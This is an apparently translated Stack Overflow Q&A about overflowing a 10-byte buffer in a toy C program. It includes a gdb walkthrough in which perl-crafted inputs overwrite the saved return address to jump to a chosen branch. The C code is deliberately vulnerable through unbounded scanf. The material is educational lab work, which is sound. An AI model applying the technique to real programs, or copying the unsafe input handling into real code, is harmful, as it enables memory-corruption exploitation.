我怎样才能溢出内存

How can I overflow the memory

我正在尝试导致缓冲区溢出以覆盖变量以执行 if 语句的第一部分。但是,每次我尝试执行 if 语句的第二部分时都会发生分段错误。

代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(){
    char username[10];
    volatile int password = 0;
    scanf("%s", username);
    if(password != 0){
        printf("done\n");
    }else{
        printf("tryharder\n");
    }
    return 0;
}

我是用gcc编译的:

 gcc pwn.c -o pwn

我也试过:

 gcc pwn.c -o pwn -fno-stack-protector

当我试图导致内存溢出时,我使用:

 kali@salluc:~/$ ./pwn
 00000000000000000000000000000000000000000000000000
 tryharder
 Segmentation fault

我想知道我应该怎么做才能覆盖密码变量,以及为什么我使用的方法不起作用。

How can I overflow the memory

你正在这样做 - 将超过 10 个字节放入 password 数组,使其溢出。

what should I do to be able to overwrite the password variable

在 x86 上,堆栈向数字较低的地址增长。你必须把密码放在用户名之前,或者转移到不同的平台。

#include <stdio.h>    
int main() {
    volatile int password = 0;
    char username[10];
    scanf("%s", username);
    if(password != 0){
        printf("done\n");
    }else{
        printf("tryharder\n");
    }
    return 0;
}

why the method I'm using is not working.

因为它不会覆盖password变量,所以它会覆盖不相关的堆栈。

尝试覆盖堆栈以将 RIP(在 x86_64,当今最常用的拱门上)指向 if(password != 0) 条件之后的片段。在 gdb 中编译然后调试它看起来像这样:

[marshall@jerkon]{10:27 PM}: [~/Hack] $ gcc aba.c -o aba -fno-stack-protector -ggdb
[marshall@jerkon]{10:28 PM}: [~/Hack] $ gdb ./aba
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./aba...
(gdb) r <<< $(printf "AAAAAAAAAAAAAAAAAA")
Starting program: /home/marshall/Hack/aba <<< $(printf "AAAAAAAAAAAAAAAAAA")
tryharder
tryharder

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7fab4c0 in _IO_stdfile_1_lock () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) disas main
Dump of assembler code for function main:
   0x0000555555555169 <+0>:     endbr64
   0x000055555555516d <+4>:     push   %rbp
   0x000055555555516e <+5>:     mov    %rsp,%rbp
   0x0000555555555171 <+8>:     sub    [=10=]x10,%rsp
   0x0000555555555175 <+12>:    movl   [=10=]x0,-0x10(%rbp)
   0x000055555555517c <+19>:    lea    -0xa(%rbp),%rax
   0x0000555555555180 <+23>:    mov    %rax,%rsi
   0x0000555555555183 <+26>:    lea    0xe7a(%rip),%rdi        # 0x555555556004
   0x000055555555518a <+33>:    mov    [=10=]x0,%eax
   0x000055555555518f <+38>:    callq  0x555555555070 <__isoc99_scanf@plt>
   0x0000555555555194 <+43>:    mov    -0x10(%rbp),%eax
   0x0000555555555197 <+46>:    test   %eax,%eax
   0x0000555555555199 <+48>:    je     0x5555555551a9 <main+64>
   0x000055555555519b <+50>:    lea    0xe65(%rip),%rdi        # 0x555555556007
   0x00005555555551a2 <+57>:    callq  0x555555555060 <puts@plt>
   0x00005555555551a7 <+62>:    jmp    0x5555555551b5 <main+76>
   0x00005555555551a9 <+64>:    lea    0xe5c(%rip),%rdi        # 0x55555555600c
   0x00005555555551b0 <+71>:    callq  0x555555555060 <puts@plt>
   0x00005555555551b5 <+76>:    mov    [=10=]x0,%eax
   0x00005555555551ba <+81>:    leaveq
   0x00005555555551bb <+82>:    retq
End of assembler dump.
(gdb) break 10
Breakpoint 1 at 0x555555555194: file aba.c, line 10.
(gdb) r <<< $(printf "AAAAAAAAAAAAAAAAAA")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(printf "AAAAAAAAAAAAAAAAAA")

Breakpoint 1, main () at aba.c:10
10          if(password != 0){
(gdb) stepi
10          if(password != 0){
(gdb) stepi
0x0000555555555199      10          if(password != 0){
(gdb) stepi
13              printf("tryharder\n");
(gdb) info reg
rax            0x0                 0
rbx            0x5555555551c0      93824992235968
rcx            0x0                 0
rdx            0x0                 0
rsi            0xa                 10
rdi            0x7fffffffdb30      140737488345904
rbp            0x7fffffffe080      0x7fffffffe080
rsp            0x7fffffffe070      0x7fffffffe070
r8             0xa                 10
r9             0x7c                124
r10            0x7ffff7fa8be0      140737353780192
r11            0x246               582
r12            0x555555555080      93824992235648
r13            0x7fffffffe170      140737488347504
r14            0x0                 0
r15            0x0                 0
rip            0x5555555551a9      0x5555555551a9 <main+64>
eflags         0x246               [ PF ZF IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
(gdb) cont
Continuing.
tryharder

Breakpoint 1, main () at aba.c:10
10          if(password != 0){
(gdb)
Continuing.
tryharder

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7fab4c0 in _IO_stdfile_1_lock () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) r <<< $(perl -e 'print "A"x18 . "\x66\x55\x44\x33\x22\x11";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(perl -e 'print "A"x18 . "\x66\x55\x44\x33\x22\x11";')

Breakpoint 1, main () at aba.c:10
10          if(password != 0){
(gdb) cont
Continuing.
tryharder

Program received signal SIGSEGV, Segmentation fault.
0x0000112233445566 in ?? ()
(gdb) disas main
Dump of assembler code for function main:
   0x0000555555555169 <+0>:     endbr64
   0x000055555555516d <+4>:     push   %rbp
   0x000055555555516e <+5>:     mov    %rsp,%rbp
   0x0000555555555171 <+8>:     sub    [=10=]x10,%rsp
   0x0000555555555175 <+12>:    movl   [=10=]x0,-0x10(%rbp)
   0x000055555555517c <+19>:    lea    -0xa(%rbp),%rax
   0x0000555555555180 <+23>:    mov    %rax,%rsi
   0x0000555555555183 <+26>:    lea    0xe7a(%rip),%rdi        # 0x555555556004
   0x000055555555518a <+33>:    mov    [=10=]x0,%eax
   0x000055555555518f <+38>:    callq  0x555555555070 <__isoc99_scanf@plt>
   0x0000555555555194 <+43>:    mov    -0x10(%rbp),%eax
   0x0000555555555197 <+46>:    test   %eax,%eax
   0x0000555555555199 <+48>:    je     0x5555555551a9 <main+64>
   0x000055555555519b <+50>:    lea    0xe65(%rip),%rdi        # 0x555555556007
   0x00005555555551a2 <+57>:    callq  0x555555555060 <puts@plt>
   0x00005555555551a7 <+62>:    jmp    0x5555555551b5 <main+76>
   0x00005555555551a9 <+64>:    lea    0xe5c(%rip),%rdi        # 0x55555555600c
   0x00005555555551b0 <+71>:    callq  0x555555555060 <puts@plt>
   0x00005555555551b5 <+76>:    mov    [=10=]x0,%eax
   0x00005555555551ba <+81>:    leaveq
   0x00005555555551bb <+82>:    retq
End of assembler dump.
(gdb) break 11
Breakpoint 2 at 0x55555555519b: file aba.c, line 11.
(gdb) r <<< $(perl -e 'print "A"x18 . "\x9b\x51\x55\x55\x55\x55";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(perl -e 'print "A"x18 . "\x9b\x51\x55\x55\x55\x55";')

Breakpoint 1, main () at aba.c:10
10          if(password != 0){
(gdb) next
13              printf("tryharder\n");
(gdb) next
tryharder
15          return 0;
(gdb) next
16      }
(gdb) next

Breakpoint 2, main () at aba.c:11
11              printf("done\n");
(gdb) next
done
15          return 0;
(gdb) next
16      }
(gdb) next

Program received signal SIGBUS, Bus error.
main () at aba.c:16
16      }
(gdb) q
A debugging session is active.

        Inferior 1 [process 336779] will be killed.

Quit anyway? (y or n) y
[marshall@jerkon]{10:34 PM}: [~/Hack] $ 

你会发现24个字符允许你通过反复试验覆盖堆栈上的return指针。然后一旦你让它崩溃,你会看到尽可能多的 41(大写“A”)在进入内存的另一部分(在 0x0000555555555555 区域之外)之前适合缓冲区。现在在你想跳转到的地方设置一个中断点,你可以用 break 来完成,也可以是内存地址,或者任何你觉得舒服的地方。然后(现在注意ti是倒过来的),你可以用A在内存中建立到RIP覆盖,然后写入665544332211作为占位符。当它试图跳转到 0x0000112233445566 处的下一条指令时,您应该以错误告终。当你在玩它的时候,你可以在看起来像 0x0000112233445566 in ?? () 的行中找到你将到达的地址。现在只需插入最接近您的任何东西:

printf("done\n");

我的系统是:

0x000055555555519b <+50>: lea 0xe65(%rip),%rdi # 0x555555556007

再次向后插入新的已知值。然后如您所见,当您看到(在我放置断点 #2 的位置之后)时,覆盖将完成:

Breakpoint 2, main () at aba.c:11
11              printf("done\n");
(gdb) next
done

这个 BoF 非常简单,但您应该了解基本概念。在实践中,你会有堆栈保护,一个内核随机堆栈,通常它会比跳转到不同的指令复杂得多,你可能需要 shellcode 等。